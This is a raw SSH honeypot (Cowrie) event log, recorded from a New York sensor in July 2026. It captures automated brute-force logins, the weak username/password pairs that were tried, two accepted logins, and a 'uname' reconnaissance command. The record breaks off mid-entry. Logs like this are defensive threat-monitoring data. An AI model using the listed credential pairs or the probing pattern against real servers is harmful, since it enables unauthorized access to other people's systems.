{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55486,"dst_ip":"10.17.0.5","dst_port":22,"session":"6db92078be3e","protocol":"ssh","message":"New connection: 45.156.87.253:55486 (10.17.0.5:22) [session: 6db92078be3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:01.304880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:01.307860Z","src_ip":"45.156.87.253","session":"6db92078be3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:01.390053Z","src_ip":"45.156.87.253","session":"6db92078be3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"rocky","message":"login attempt [rocky/rocky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:01.635484Z","src_ip":"45.156.87.253","session":"6db92078be3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:02.720401Z","src_ip":"45.156.87.253","session":"6db92078be3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55494,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2423129c582","protocol":"ssh","message":"New connection: 45.156.87.253:55494 (10.17.0.5:22) [session: a2423129c582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:04.712068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:04.715466Z","src_ip":"45.156.87.253","session":"a2423129c582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:04.798430Z","src_ip":"45.156.87.253","session":"a2423129c582","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:05.043703Z","src_ip":"45.156.87.253","session":"a2423129c582","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:05.398738Z","src_ip":"45.156.87.253","session":"a2423129c582","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:05.401286Z","src_ip":"45.156.87.253","session":"a2423129c582","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:05.488208Z","src_ip":"45.156.87.253","session":"a2423129c582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:05.491877Z","src_ip":"45.156.87.253","session":"a2423129c582","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55506,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e93169d9194","protocol":"ssh","message":"New connection: 45.156.87.253:55506 (10.17.0.5:22) [session: 5e93169d9194]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:08.259830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:08.263809Z","src_ip":"45.156.87.253","session":"5e93169d9194","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:08.343862Z","src_ip":"45.156.87.253","session":"5e93169d9194","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"root","message":"login attempt [azureuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:08.585103Z","src_ip":"45.156.87.253","session":"5e93169d9194","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:09.668681Z","src_ip":"45.156.87.253","session":"5e93169d9194","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42928,"dst_ip":"10.17.0.5","dst_port":22,"session":"41c145d2fe79","protocol":"ssh","message":"New connection: 45.156.87.253:42928 (10.17.0.5:22) [session: 41c145d2fe79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:11.569181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:11.641898Z","src_ip":"45.156.87.253","session":"41c145d2fe79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:11.722283Z","src_ip":"45.156.87.253","session":"41c145d2fe79","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:11.966432Z","src_ip":"45.156.87.253","session":"41c145d2fe79","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:12.169157Z","src_ip":"45.156.87.253","session":"41c145d2fe79","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:12.170968Z","src_ip":"45.156.87.253","session":"41c145d2fe79","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:12.254879Z","src_ip":"45.156.87.253","session":"41c145d2fe79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:12.259136Z","src_ip":"45.156.87.253","session":"41c145d2fe79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42932,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3649f82a05b","protocol":"ssh","message":"New connection: 45.156.87.253:42932 (10.17.0.5:22) [session: d3649f82a05b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:14.865638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:14.869329Z","src_ip":"45.156.87.253","session":"d3649f82a05b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:14.949254Z","src_ip":"45.156.87.253","session":"d3649f82a05b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:15.243753Z","src_ip":"45.156.87.253","session":"d3649f82a05b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:16.326709Z","src_ip":"45.156.87.253","session":"d3649f82a05b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.148.49.82","src_port":8147,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2f3ecd5b8b9","protocol":"ssh","message":"New connection: 119.148.49.82:8147 (159.203.135.109:22) [session: b2f3ecd5b8b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:17.015779Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:17.248279Z","src_ip":"119.148.49.82","session":"b2f3ecd5b8b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42948,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c9f5a652d3a","protocol":"ssh","message":"New connection: 45.156.87.253:42948 (10.17.0.5:22) [session: 8c9f5a652d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:18.358283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:18.362125Z","src_ip":"45.156.87.253","session":"8c9f5a652d3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:18.442944Z","src_ip":"45.156.87.253","session":"8c9f5a652d3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"abc123","message":"login attempt [dev/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:18.685113Z","src_ip":"45.156.87.253","session":"8c9f5a652d3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:19.767986Z","src_ip":"45.156.87.253","session":"8c9f5a652d3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55316,"dst_ip":"10.17.0.5","dst_port":22,"session":"36ff5e6a921b","protocol":"ssh","message":"New connection: 45.156.87.253:55316 (10.17.0.5:22) [session: 36ff5e6a921b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:21.711648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:21.715376Z","src_ip":"45.156.87.253","session":"36ff5e6a921b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:21.797571Z","src_ip":"45.156.87.253","session":"36ff5e6a921b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:22.043895Z","src_ip":"45.156.87.253","session":"36ff5e6a921b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:23.141450Z","src_ip":"45.156.87.253","session":"36ff5e6a921b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":56972,"dst_ip":"159.203.135.109","dst_port":22,"session":"609d726fff4e","protocol":"ssh","message":"New connection: 143.20.185.207:56972 (159.203.135.109:22) [session: 609d726fff4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:23.567830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:23:23.577607Z","src_ip":"143.20.185.207","session":"609d726fff4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nis